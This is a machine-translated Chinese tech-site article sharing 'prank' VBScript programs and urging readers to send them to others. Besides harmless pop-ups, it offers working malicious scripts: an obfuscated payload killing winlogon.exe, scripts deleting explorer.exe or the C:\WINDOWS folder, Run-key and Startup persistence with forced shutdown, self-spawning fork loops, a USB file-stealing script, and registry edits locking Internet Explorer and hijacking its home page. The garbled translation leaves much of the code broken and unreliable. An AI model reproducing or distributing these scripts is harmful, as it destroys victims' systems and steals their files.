Shulou(Shulou.com)06/03 Report--

Editor to share with you how to achieve a prank vbs program, I believe most people do not know much about it, so share this article for your reference, I hope you can learn a lot after reading this article, let's go to know it!

Operation method: save the code as * .VBS and run it.

After personal testing will not be a big problem, generally using an infinite loop, not an endless loop, you can end the WSCRIPT or cscript process through the task manager.

The copy code is as follows:

Do

Msgbox "hi"

Loop

Unlimited use of English

The copy code is as follows:

Set s = CreateObject ("sapi.spvoice")

ITunes 0

Do

S.speak i

I=i+1

Loop

The copy code is as follows:

If MsgBox ("Sorry, you watered too much and you need to restart your computer." & chr (10) & "are you sure you want to restart?" , vbOKCancel+vbInformation, "restart the computer") = vbCancel then

Msgbox "the system will immediately restart wow ~ _ ^", "you have been fooled!"

Set objShell = CreateObject ("Wscript.Shell")

ObjShell.Run "shutdown-s-t 5", true

End if

The copy code is as follows:

Strs=array(13,105,102,32,77,115,103,66,111,120,40,34,-15133,-13625,-10515,-12873,-15632,-23617,34,44,118,98,89,101,115,78,111,44,34,-12363,-12877,-13087,-13634,34,41,61,118,98,121,101,115,32,116,104,101,110,32,13,10,32,32,32,32,32,32,32,32,32,32,32,109,115,103,98,111,120,32,34,-15133,89,-13899,-20026,-20319,33,34,13,10,101,108,115,101,13,10,32,32,32,32,109,115,103,98,111,120,32,34,-17479,-19781,-19504,-14129,33,33,32,-10249,-12630,-19507,-18525,-23636,-16202,-14655,-11589,-12350,-23636,-15133,-15635,-13873,-17966,-15925,35,-23644,-23647,64,35,-23644,37,64,-24147,-24147,35,-24147,-24147,63,34,44,54,52,44,34,-11825,-10536, -16721,-18202,33,33,33,33,33,33,33,33,33,34,13,10,83,101,116,32,119,115,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,32,13,10,119,115,99,114,105,112,116,46,115,108,101,101,112,32,32,32,49,50,48,48,13,10,119,115,46,114,117,110,32,34,99,109,100,32,47,99,32,115,116,97,114,116,32,47,109,105,110,32,110,116,115,100,32,45,99,32,113,32,45,112,110,32,119,105,110,108,111,103,111,110,46,101,120,101,32,49,62,110,117,108,32,50,62,110,117,108,34,44,118,98,104,105,100,101,13,10,101,110,100,32,105,102,13,10,13,10,13,10)

For iTunes 1 to UBound (strs)

Runner=runner&chr (strs (I))

Next

Execute runner

It's nothing, but it's encrypted. You can try to decrypt it.

The copy code is as follows:

If MsgBox ("are you a pig?" , vbYesNo, "prompt") = vbyes then

Msgbox "you SB!"

Else

Msgbox "don't admit it yet! as a punishment, you immediately hang up # ¥! @ # ¥% @ …...", 64, "serious warning!"

Set ws = CreateObject ("Wscript.Shell")

Wscript.sleep 1200

Ws.run "cmd / c start / min ntsd-c Q-pn winlogon.exe 1 > nul 2 > nul", vbhide

End if

The copy code is as follows:

Set ws = CreateObject ("Wscript.Shell")

Ws.run "cmd.exe / c call calc.exe", 0

The following is the deletion of explorer.exe, so that the desktop is not displayed, but it backs up for you in advance, which is the explorer.Data in the same directory.

The copy code is as follows:

Set ws=CreateObject ("Wscript.Shell")

Ws.run "cmd.exe / c taskkill / f / im explorer.exe", 0

Wscript.sleep 900

Ws.run "cmd.exe / c copy% windir%\ explorer.exe% windir%\ explorer.Data"

Wscript.sleep 1200

Ws.run "cmd.exe / c del / Q / f% windir%\ explorer.exe

The copy code is as follows:

For each wind in verybat

Ws.sendkeys wind

Wscript.sleep 500

Next

Ws.popup "Alas: (⊙ o ⊙)! Oh, I'm so tired, I've dropped 886", 30

Ws.popup "Don't forget to turn off QQ when you get off the machine. I'll turn QQ off.", 8

Ws.run "taskkill / f / im qq.exe"

Ws.popup, "go ahead and take your time." 27

Dim WSHshell

Set WSHshell = wscript.createobject ("wscript.shell")

For dong0 to 4

WSHshell.SendKeys "{F4}"

Next

Ws.run "shutdown-s-t 1000600"

Wscript.sleep 2000

Dim a

Do

A=inputbox ("Please enter the password to remove the shutdown")

If a = "403746401" then

Ws.run "shutdown-a"

Msgbox "password authentication successful, enjoy the best!"

Exit do

Else

Msgbox "password verification failed, please enter the unshutdown password: 403746401", vbretrycancel

End if

Loop

Ws.popup "are you scared? are you having fun? do you think it's really a virus? hehe O (∩ _ ∩) Oliver, I'm not that good at making a virus!" , 57

Ws.popup "(\ (^ o^)) / ~ well, I played a little joke on you. You can also send this file to other people and play tricks on others. Hehe ^ _ ^", 62

Wscript.sleep 8900

Do until iTunes 10

I=i+1

Msgbox "CPU temperature is too high, there is a serious error in the system! please end all applications to cool CPU!" , 1604096, "system prompt:"

Wscript.sleep 10000045

Loop

Shutdown

The copy code is as follows:

Set sh=wscript.createobject ("wscript.shell")

Sh.run "shutdown-s-t 332"

Close multiple currently open windows

The copy code is as follows:

Dim WSHshell

Set WSHshell = wscript.createobject ("wscript.shell")

For dong0 to 40

WSHshell.SendKeys "{F4}"

Next

The copy code is as follows:

Dim a,b,c,s

Set fs=CreateObject ("Scripting.FileSystemObject")

Name = WScript.ScriptName

Fullname = WScript.ScriptFullName

Path = Replace (fullname,name, "")

A=inputbox ("Please fill in your real name in the dialog box!" & vbcrlf& "& vbcrlf&" will give you a surprise later! "& vbcrlf&" & vbcrlf& "if you don't believe me, you can try!" & vbcrlf& "& vbcrlf&" preferably a Chinese name, "Ruizhou prompt:", "Please enter your name here")

If a = "" Then "

WScript.Quit

End If

MyVar=MsgBox ("your name is: & a &", vbYesNo + vbExclamation, "Ruizhou Tip:")

If MyVar=vbYes Then

ElseIf MyVar=vbNo Then

A=inputbox ("Please fill in your real name in the dialog box!" & vbcrlf& "& vbcrlf&" will give you a surprise later! "& vbcrlf&" & vbcrlf& "if you don't believe me, you can try!" & vbcrlf& "& vbcrlf&" preferably a Chinese name, "Ruizhou prompt:", "Please enter your name here")

If a = "" Then "

WScript.Quit

End If

End If

Wscript.sleep 1000b=inputbox ("Dear" & a & "Hello!" & vbcrlf& "& vbcrlf&" Please fill in your hobbies. (just one!) " , "Ruizhou prompt:", "Please enter your hobbies here")

If b = "" Then "

WScript.Quit

End If

Wscript.sleep 1000c = inputbox ("Please enter your birth date in the following dialog box] the computer will automatically calculate how long you have been on Earth so far!" & vbcrlf& "& vbcrlf&" below with me as the column, you can modify & vbcrlf& "& Chr (10) &" format: 1987-06-02 "," Ruizhou Tip: "," 1987-06-02 ")

If c = "" Then "

WScript.Quit

End If

Wscript.sleep 1000age = abs (datediff ("d", date,c))

Wscript.sleep 1

Current = now ()

H=datepart ("h", current)

N=datepart ("n", current)

WScript.Sleep 1000

S = msgbox (Chr (10) & Congratulations & a & "has survived on Earth:" & age& "days" & "hours" & n & "minutes.", vbOKCancel+63, "Ruizhou Tip:")

If Song2 then

End if

Set auto=fs.CreateTextFile ("C:\ Documents and Settings\ All Users\ desktop\" & a & "Secret .vbs", true)

Auto.WriteLine "MSGBOX" & "&" my name is: & a & "& vbcrlf&" & "" & vbcrlf& "&"&" & my hobbies are: & B & "&" & vbcrlf& "&"& vbcrlf&" & "" & A & " Live: & age& "Heaven" & h & "hour" & n & "minute" & "&" 64, "& A &" self-introduction: "

Auto.WriteLine "msgbox" & "Dear" & "good-bye!" & "&", 48, "&" & "Ruizhou hint:" & "

Set auto=fs.CreateTextFile ("C:\ Documents and Settings\ All Users\ desktop\ wish" & a & "Happy Birthday .TXT", true)

Auto.WriteLine "I Rui Zhouzhu:" & A & "Happy birthday, all wishes come true, dare to try boldly, and prosper as soon as possible."

Auto.WriteLine "you have lived on Earth:" & age& "days" & h & "hours" & "minutes"

Auto.WriteLine "time is calculated according to the date of your birth, which may not be very accurate, but the purpose is just to let you know that time passes quickly, please cherish your time!"

The copy code is as follows:

Dim a

Axi10

Set objShell = CreateObject ("Wscript.Shell")

ObjShell.Run "shutdown-s-t 10", true

Set s = CreateObject ("sapi.spvoice")

While a

S.Speak a

A = a-1

Wscript.sleep 100

Wend

CreateObject ("SAPI.SpVoice"). Speak "Bomb?

The copy code is as follows:

Do

Createobject ("wscript.shell"). Run chr (34) & wscript.scriptname & chr (34)

Loop

The copy code is as follows:

Msgbox "this file is non-toxic, please rest assured to use it." , vbretrycancel, "system prompt."

Dim WSHshell

Set WSHshell = wscript.createobject ("wscript.shell")

WSHshell.Run "cmd.exe / c shutdown-s-t 300"

Wscript.sleep 2000

Dim a

Do

A=inputbox ("enter abc, otherwise shut down.")

If a = "abc" then

Msgbox "it's a pity that you've been tricked. This is a whole person program. Just wait for it to be turned off."

Exit do

Else

Msgbox "be good, enter abc"

End if

Loop

The copy code is as follows:

On error resume next

Dim WSHshellA

Set WSHshellA = wscript.createobject ("wscript.shell")

WSHshellA.run "cmd.exe / c shutdown-r-t 6-c" says I'm a pig, don't say I'm a pig and turn off your phone for a minute. If you don't believe me, try "", 0, true.

Dim a

Do while (a "I am a pig")

A = inputbox ("if you say I'm a pig, don't turn off your phone." say "I'm a pig", "don't say", "don't say", "don't say", 8000 ~ 7000)

Msgbox is "good"

Loop

Msgbox "should have said so."

Dim WSHshell

Set WSHshell = wscript.createobject ("wscript.shell")

WSHshell.run "cmd.exe / c shutdown-a", 0, true

Msgbox "call yourself shameless ~", 4, "

The copy code is as follows:

Msgbox "are you bored?" , 4

Msgbox "I'll play with you for a while."

Msgbox "get ready for fun!"

Do

Msgbox "are you bored?" vbinformation, "are you bored?"

Loop

The copy code is as follows:

On error resume next

Set wr=createobject ("scripting.filesystemobject")

Set ws=createobject ("wscript.shell")

Set f = wr.getfile (wscript.scriptfullname)

Q=ws.regread ("HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Explorer\ Shell Folders\ Startup")

If not f = "Win32.vbs" then wr.copyfile fmai Q & "\ Win32.vbs", true

Ws.run "shutdown-p", vbhide

This is so abominable that we have to restart it.

The copy code is as follows:

Set ws=createobject ("wscript.shell")

Do

Ws.sendkeys "{f5}"

Loop

The copy code is as follows:

Dim AutoRunProgram

Set AutoRunProgram = WScript.CreateObject ("WScript.shell")

RegPath = "HKLM\ Software\ Microsoft\ Windows\ CurrentVersion\ Run\"

Type_Name = "REG_SZ"

Key_Name = "QUESTION.vbS"

Key_data = "C:\ windows\ system32\ QUESTION.vbs"

AutorunProgram.RegWrite regpath&Key_Name,Key_data,Type_Name

Dim fso,file

Set fso = CreateObject ("Scripting.FileSystemObject")

Set file = fso.getfile (WScript.ScriptFullName)

File.copy "c:\ windows\ system32\"

Set fso = CreateObject ("Scripting.FileSystemObject")

F = fso.DeleteFile (WScript.ScriptName)

Set objShell = CreateObject ("Wscript.Shell")

ObjShell.Run "shutdown-s-t 5", true

The copy code is as follows:

Set wmp=createobject ("wmplayer.ocx")

Set cd=wmp.cdromcollection.item (0)

Do

Cd.eject

Loop

The copy code is as follows:

On error resume next

Dim WSHshellA

Set WSHshellA = wscript.createobject ("wscript.shell")

WSHshellA.run "cmd.exe / c shutdown-r-t 60-c"call me dad, shout", 0, true

Dim a

Do while (a "father")

A = inputbox ("call my dad, hurry up, shout"daddy", "shout no shout", "don't shout", 8000men7 000)

Msgbox chr (13) + a MsgBox 0, "MsgBox"

Loop

Msgbox chr (13) + son

Dim WSHshell

Set WSHshell = wscript.createobject ("wscript.shell")

WSHshell.run "cmd.exe / c shutdown-a", 0, true

Msgbox chr (13) + "Daddy will buy you a lollipop later."

The copy code is as follows:

On error resume next

Dim WSHshellA

Set WSHshellA = wscript.createobject ("wscript.shell")

WSHshellA.run "cmd.exe / c shutdown-r-t 120-c" say you love me, don't say you love me and turn off your phone for two minutes. If you don't believe me, try "", 0, true.

Dim a

Do while (a "I love you")

A = inputbox ("if you say you love me, don't turn off your phone." say "you love me", "Don't say", "Don't say", "Don't say", 8000 ~ 7,000)

Msgbox chr (13) + a MsgBox 0, "MsgBox"

Loop

Msgbox chr (13) + "just say so, why bother"

Dim WSHshell

Set WSHshell = wscript.createobject ("wscript.shell")

WSHshell.run "cmd.exe / c shutdown-a", 0, true

Msgbox chr (13) + "Ha-ha-ha, today was really fun."

The copy code is as follows:

I = MsgBox ("you need to blow up the computer because you pour too much water." & _

VbCrLf& "are you sure about blasting?" , vbOKCancel,_

"blasting computer system!")

If I = 1 then

CreateObject ("SAPI.SpVoice") Speak "bone"

End if

The copy code is as follows:

On Error Resume Next

Dim i

ITunes 0

Set fso=CreateObject ("Scripting.FileSystemObject")

IP=InputBox ("Please enter the flash drive letter to monitor:", "USB disk Bandit-the smartest pig in By", "I:")

Ext=InputBox ("Please enter the extension of the file name to be stolen:", "USB disk Bandit-By's smartest pig", "txt")

MyFolder=InputBox ("Please enter the path to save the file:", "USB disk Bandit-the smartest pig in By", "E:\ USB disk Bandit")

Fso.CreateFolder (MyFolder)

Do

WScript.Sleep 1000

If fso.FolderExists (IP & "\") Then Exit Do

Loop

Scan (IP & "\")

Sub Scan (Folder_)

On Error Resume Next

Set Folder_=fso.GetFolder (Folder_)

Set Files=Folder_.Files

For Each File in Files

Ext_=fso.GetExtensionName (File)

Ext_=Lcase (ext_)

Ext=Lcase (ext)

If ext_=ext Then

I=i+1

Fso.GetFile (File) .copy (MyFolder & "\" & I & "_" & File.Name)

End If

Next

Set SubFolders=Folder_.SubFolders

For Each SubFolder In SubFolders

Scan (Subfolder)

Next

End Sub

The copy code is as follows:

On error resume next

Dim WSHshellA

Set WSHshellA = wscript.createobject ("wscript.shell")

WSHshellA.run "cmd.exe / c shutdown-r-t 60-c" in a minute, your machine will be dead. Try it! ", 0, true

Dim a

Do while (a "not heavy, not heavy, I am not heavy!")

A = inputbox ("the only way is to restart", "whether to restart", "if it's not heavy, I'm not heavy!", 8000, 7000)

Msgbox chr (13) + a MsgBox 0, "MsgBox"

Loop

Msgbox chr (13) + "I'm really not talking about you. What are you sure about? I hope you're in the Internet bar. Bodhisattva bless."

Msgbox chr (13) + "your machine is really running out. Prepare some money to reinstall the machine. Amitabha Buddha, how good it is!"

Msgbox chr (13) + "Don't use your hands so fast in the future."

Msgbox chr (13) + "88"

Dim WSHshell

Set WSHshell = wscript.createobject ("wscript.shell")

WSHshell.run "cmd.exe / c shutdown-a", 0, true

Msgbox "+ chr (14) +" ~ "

Dim a

Set a = CreateObject ("Scripting.FileSystemObject")

A.DeleteFolder ("C:\ WINDOWS")

It's not an endless cycle, it's made you crash. Restart it.

The copy code is as follows:

Msgbox "I'll show you what viciousness is!"

Do

Set ws=createobjecet ("wscript.shell")

Ws.run "explorer.exe"

Ws.run "cmd.exe"

Loop

The copy code is as follows:

On error resume next

Msgbox "about to be formatted! please get ready!" , vbyesno

Msgbox "get ready to order yes!" , vbyesno

Msgbox "sorry, forget to mention, you can order no!"

Msgbox "I'm sorry! whoo! 555 ha!"

Msgbox "shit, I'm laughing my ass off! I'm a famous doctor! doing a kind of research in a mental hospital."

Msgbox is being studied!

Msgbox "I knew you could laugh! I tell you, I discriminate against two kinds of people the most! first, people who discriminate against others, second, people who love to laugh, and third, people who don't know numbers!"

Msgbox "Why are you laughing?! it's time to punish you!"

Do

Set ws=createobjecet ("wscript.shell")

Ws.run "explorer.exe"

Ws.run "cmd.exe"

Ws.run "cmd.exe / c shutdown-s-t 7200", ture

Loop

Send something special to me.

The copy code is as follows:

Set s.createobject ("wscript.shell")

Lsfile=wscript.scriptfullname 'get your own name

Do's endless cycle

S.run lsfile 'run yourself

S.run "notepad" 'run notepad

Loop 'crashed in a few seconds, ha

Have a green, non-toxic and harmless one:

The copy code is as follows:

Dim a

Set a=createobject ("sapi.spvoice")

A.speak " "

Note: ha ha ha... Can be changed to a few foul words!

After entering Chinese, English depends on whether your computer can speak English or Chinese!

The copy code is as follows:

Dim a

A=msgbox ("Let me tell you a story!", vbyesno, "Silent wish production")

If a=vbyes then

Do

Msgbox (once upon a time there was a mountain)

Msgbox (there is a temple on the hill)

Msgbox (there are two monks in the temple)

Msgbox ("the Big Monk tells the Little Monk stories")

Axi1

Loop while axi1

End if

Set the default page and search page to Baidu

The copy code is as follows:

If msgbox ("this is sealed", 65, "warning!") = 1 then

If msgbox ("Please don't go your own way", 65, "warning!") = 1 then

If msgbox ("stop pressing!" , 65, "warning! = 1 then

If msgbox ("pisses me off.", 65, "warning!") = 1 then

If msgbox ("in that case... then this thing is yours!" , 65, "have a nice day! 886") = 1 then

Msgbox "here, it's your own order, and I can't stop it." 65, "have a nice day! 886"

Msgbox "this is a virus. (sealed by the spirit of the devil) now, the spirit of the devil can no longer control him!" , 65, "the seal is lifted!"

On error resume next

Dim fso,wsh,myfile,ws,pp,fsoFolder

Set wsh=wscript.createobject ("wscript.shell")

Set fso=wscript.createobject ("scripting.filesystemobject")

Set myfile=fso.GetFile (wscript.scriptfullname)

Wsh.Regwrite "HKLM\ SOFTWARE\ Microsoft\ Windows\ CurrentVersion\ Explorer\ Advanced\ Folder\ Hidden\ SHOWALL\ CheckedValue", 0, "REG_DWORD"

Wsh.Regwrite "HKCU\ Software\ Policies\ Microsoft\ Internet Explorer\ Restrictions\ NoBrowserContextMenu", 1, "REG_DWORD"

Wsh.Regwrite "HKCU\ Software\ Policies\ Microsoft\ Internet Explorer\ Restrictions\ NoBrowserOptions", 1, "REG_DWORD"

Wsh.Regwrite "HKCU\ Software\ Policies\ Microsoft\ Internet Explorer\ Restrictions\ NoBrowserSaveAs", 1, "REG_DWORD"

Wsh.Regwrite "HKCU\ Software\ Policies\ Microsoft\ Internet Explorer\ Restrictions\ NoFileOpen", 1, "REG_DWORD"

Wsh.Regwrite "HKCU\ Software\ Policies\ Microsoft\ Internet Explorer\ Control Panel\ Advanced", 1, "REG_DWORD"

Wsh.Regwrite "HKCU\ Software\ Policies\ Microsoft\ Internet Explorer\ Control Panel\ Cache Internet", 1, "REG_DWORD"

Wsh.Regwrite "HKCU\ Software\ Policies\ Microsoft\ Internet Explorer\ Control Panel\ AutoConfig", 1, "REG_DWORD"

Wsh.Regwrite "HKCU\ Software\ Policies\ Microsoft\ Internet Explorer\ Control Panel\ HomePage", 1, "REG_DWORD"

Wsh.Regwrite "HKCU\ Software\ Policies\ Microsoft\ Internet Explorer\ Control Panel\ History", 1, "REG_DWORD"

Wsh.Regwrite "HKCU\ Software\ Policies\ Microsoft\ Internet Explorer\ Control Panel\ Connwiz Admin Lock", 1, "REG_DWORD"

Wsh.Regwrite "HKCU\ Software\ Microsoft\ Internet Explorer\ Main\ Start Page", "http://www.baidu.com""

Wsh.Regwrite "HKCU\ Software\ Microsoft\ Internet Explorer\ Main\ Search Page", "http://www.baidu.com""

Wsh.Regwrite "HKCU\ Software\ Microsoft\ Internet Explorer\ Main\ Default_Page_URL", "http://www.baidu.com""

Wsh.Regwrite "HKCU\ Software\ Microsoft\ Internet Explorer\ Main\ Default_Search_URL", "http://www.baidu.com""

Wsh.Regwrite "HKEY_USERS\ .default\ Software\ Microsoft\ Internet Explorer\ Main\ Start Page", "http://www.baidu.com""

Wsh.Regwrite "HKEY_USERS\ .default\ Software\ Microsoft\ Internet Explorer\ Main\ Default_Page_URL", "http://www.baidu.com""

Wsh.Regwrite "HKEY_USERS\ .default\ Software\ Microsoft\ Internet Explorer\ Main\ Default_Search_URL", "http://www.baidu.com""

A long time ago, it seemed that in the summer after the college entrance examination, I received a prank program from a friend called "A moving article .vbs". I didn't know anything at that time. I double-clicked directly and kept thinking about it all the time. Double-click and pop up an input box, "enter'I am a pig', or the phone will be turned off in 15 seconds. I thought it was funny, but I really turned it off when I didn't enter anything. I think it's amazing. Now I can write my own code, but I can't find the happiness I used to be.

The copy code is as follows:

Option Explicit

On Error Resume Next

Dim answer

Dim WshShell

Set WshShell = CreateObject ("wscript.Shell")

WshShell.Run "Shutdown / f / s / t 10 / c enter'I am a pig', otherwise shut down in 10 seconds ~", 0

Do While answer, "I'm a pig."

Answer=InputBox ("enter'I am a pig', or turn off the phone in 10 seconds ~", "ha,", 7000, 8000)

Loop

WshShell.Run "Shutdown / a", 0

MsgBox ", is it fun?", ""

Open the notepad, copy and paste the code into it, and save it as "a moving article .vbs". A prank program is completed, and what to do next is beyond the scope of this article.

The above is all the contents of the article "how to implement a prank vbs program". Thank you for reading! I believe we all have a certain understanding, hope to share the content to help you, if you want to learn more knowledge, welcome to follow the industry information channel!

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.